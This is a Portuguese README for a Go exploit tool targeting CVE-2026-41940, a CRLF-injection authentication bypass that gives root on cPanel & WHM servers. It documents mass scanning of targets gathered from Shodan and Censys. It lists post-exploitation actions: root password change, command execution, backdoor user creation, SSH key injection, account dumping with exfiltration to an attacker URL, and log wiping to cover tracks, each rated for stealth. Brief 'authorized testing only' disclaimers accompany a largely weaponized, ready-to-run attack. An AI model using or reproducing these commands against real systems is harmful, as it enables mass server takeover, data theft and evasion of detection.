
Exploit PoC para CVE-2026-41940, uma bypass de autenticação no cPanel & WHM via injeção CRLF. Inclui varredura em massa, ações pós-exploração e um shell interativo para testes autorizados.
Ferramenta por: Ishan Oshada | GitHub
⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS. Uso não autorizado é ilegal.


CVE-2026-41940 é uma vulnerabilidade de injeção CRLF no cPanel & WHM (versões < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
A função saveSession() grava os dados da sessão após aplicar filter_sessiondata(), mas o filtro é aplicado tarde demais. Ao injetar caracteres CRLF (\r\n) dentro do cabeçalho Authorization: Basic, um atacante pode envenenar o arquivo de sessão em disco com pares chave-valor arbitrários (por exemplo, hasroot=1, tfa_verified=1, user=root).
Quando a sessão envenenada é posteriormente carregada, o cPanel/WHM concede acesso total de root sem qualquer senha.
--verbose) – mostra requisições/respostas HTTP completasgit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
Em vez de compilar a partir do código-fonte, você pode baixar os executáveis estáveis mais recentes diretamente do repositório. Eles são gerados automaticamente a cada atualização:
Nota: Se estiver usando Linux ou macOS, lembre-se de conceder permissões de execução após o download:
# Varredura básica
go run main.go -u https://target.com:2087
# Listar todas as contas cPanel
go run main.go -u https://target.com:2087 -action list
# Shell WHM interativo
go run main.go -u https://target.com:2087 -action shell
# Varredura em massa com urls.txt
go run main.go -l urls.txt -t 20 -o results.json
Uma vez dentro do shell (-action shell), use estes comandos:
O repositório inclui urls.txt com 1000 alvos de exemplo para varredura em massa.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# Varredura em massa básica (10 threads)
go run main.go -l urls.txt
# Varredura em massa rápida (50 threads, salvar resultados)
go run main.go -l urls.txt -t 50 -o results.json
# Varredura em massa com ação pós-exploração
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# Varredura em massa com saída verbosa
go run main.go -l urls.txt -t 10 --verbose
# Varredura em massa com timeout aumentado (redes lentas)
go run main.go -l urls.txt -t 30 -timeout 30
# Gerar faixa de IP (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# Gerar faixa de IP (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# A partir do Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# A partir do Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ ALVO VULNERÁVEL DETECTADO ║
╠════════════════════════════════════════════════════════════════╣
║ Alvo: https://target.example.com:2087 ║
║ Token: /cpsess1234567890 ║
║ Versão: 11.76.0.22 ║
║ Sessão: :od2aMhg5zJeQunUy... ║
║ URL da API: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Ação: LIST
• Usuário: admin | Domínio: example.com
• Usuário: backup | Domínio: backup.example.com
• Usuário: client1 | Domínio: client1.com
════════════════════════════════════════════════════════════════════
RESUMO DA VARREDURA CONCLUÍDA
════════════════════════════════════════════════════════════════════
Total de Alvos Varridos: 1000
Alvos Vulneráveis: 47
Tempo Decorrido: 125.34 segundos
ALVOS VULNERÁVEIS:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Token: /cpsess1111111111
Versão: 11.76.0.22
Sessão: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Token: /cpsess2222222222
Versão: 11.86.0.15
Sessão: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Token: /cpsess3333333333
Versão: 11.118.0.42
Sessão: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Resultados salvos em: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # Documentação
├── bin/ # Executáveis pré-compilados multiplataforma
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Código-fonte principal
├── urls.txt # 1000 alvos de exemplo
├── go.mod # Arquivo de módulo Go
├── .gitignore # Arquivo de ignorados do Git
└── results.json # Arquivo de saída (gerado)
Esta ferramenta é para fins educacionais e testes de penetração autorizados apenas.
O acesso não autorizado a sistemas de computador é ilegal sob:
O autor não assume nenhuma responsabilidade por uso indevido. Use por sua conta e risco.
Ao usar esta ferramenta, você concorda que possui autorização adequada para testar os sistemas alvo.
Ishan Oshada
Se você achar esta ferramenta útil:
Feliz Hacking! 🚀
Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use eticamente.
| Estágio | Ação | Descrição |
|---|
| 1 | POST /login/?login_only=1 | Solicitar cookie de sessão pré-autenticação com credenciais incorretas |
| 2 | GET / + cabeçalho Authorization com CRLF | Envenenar o arquivo de sessão com hasroot=1, user=root, etc. |
| 3 | GET /scripts2/listaccts | Forçar o cache de sessão a recarregar o arquivo envenenado (propagação) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Verificar acesso root – sucesso = 200 + dados da versão |
| Plataforma | Localização |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | Finalidade | Comando |
|---|
| 1 | Varredura básica de alvo único | go run main.go -u https://target.com:2087 |
| 2 | Listar todas as contas cPanel | go run main.go -u https://target.com:2087 -action list |
| 3 | Alterar senha de root | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Executar comando do sistema | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Obter informações do servidor | go run main.go -u https://target.com:2087 -action info |
| 6 | Criar usuário backdoor | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | Criar token de API (furtivo) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | Injetar chave SSH | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Despejar e exfiltrar conta | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Apagar logs e cobrir rastros | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Shell WHM interativo | go run main.go -u https://target.com:2087 -action shell |
| 12 | Varredura em massa a partir de arquivo | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Salvar resultados em JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Ativar depuração verbosa | go run main.go -u https://target.com:2087 --verbose |
| 15 | Pipe de outras ferramentas | cat urls.txt | go run main.go -t 20 |
| 16 | Aumentar timeout | go run main.go -u https://target.com:2087 -timeout 30 |
| Ação | Flag | Descrição | Nível de Furtividade |
|---|
list | -action list | Listar todas as contas cPanel | Baixo |
passwd | -action passwd -passwd NEWPASS | Alterar senha de root (ruidosa) | Alto (detectável) |
cmd | -action cmd -cmd "id" | Executar comandos do SO | Médio |
info | -action info | Mostrar hostname, carga, versão | Baixo |
adduser | -action adduser -new-user U -new-domain D | Criar usuário cPanel backdoor | Médio |
apitoken | -action apitoken [-tokenname NAME] | Gerar token de API persistente | Muito Baixo |
sshkey | -action sshkey -sshkey "ssh-rsa..." | Injetar chave pública SSH no root | Muito Baixo |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | Fazer backup e exfiltrar conta | Médio |
wipe | -action wipe | Desativar WAF, limpar logs, apagar histórico | Cobrir rastros |
shell | -action shell | Shell WHM interativo | Baixo |
| Comando | Descrição | Exemplo |
|---|
accounts | Listar todas as contas cPanel | accounts |
passwd <senha> | Alterar senha de root | passwd MyNewPass123!2006 |
exec <comando> | Executar comando do sistema | exec "cat /etc/passwd" |
info | Mostrar informações do servidor | info |
version | Mostrar versão do cPanel | version |
help | Mostrar comandos disponíveis | help |
exit | Sair do shell | exit |
| Opção | Tipo | Padrão | Descrição |
|---|
-u | string | - | URL do alvo (ex.: https://example.com:2087) |
-l | string | - | Arquivo com alvos (um por linha) |
-t | int | 10 | Número de threads concorrentes |
-action | string | - | Ação pós-exploração |
-passwd | string | - | Nova senha (para passwd/adduser) |
-cmd | string | - | Comando a executar (para ação cmd) |
-new-user | string | - | Nome de usuário para ação adduser |
-new-domain | string | - | Domínio para ação adduser |
-tokenname | string | - | Nome para token de API (ação apitoken) |
-sshkey | string | - | Chave pública SSH a injetar (ação sshkey) |
-dumpuser | string | - | Nome de usuário para backup (ação dumpacct) |
-exfil | string | - | URL remota para exfiltração (ação dumpacct) |
-o | string | - | Arquivo JSON de saída (salva automaticamente quando encontrado) |
--verbose | bool | false | Mostrar requisições/respostas HTTP |
-h | bool | false | Mostrar menu de ajuda |
| Ramo | Versão Corrigida | Vulnerável < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |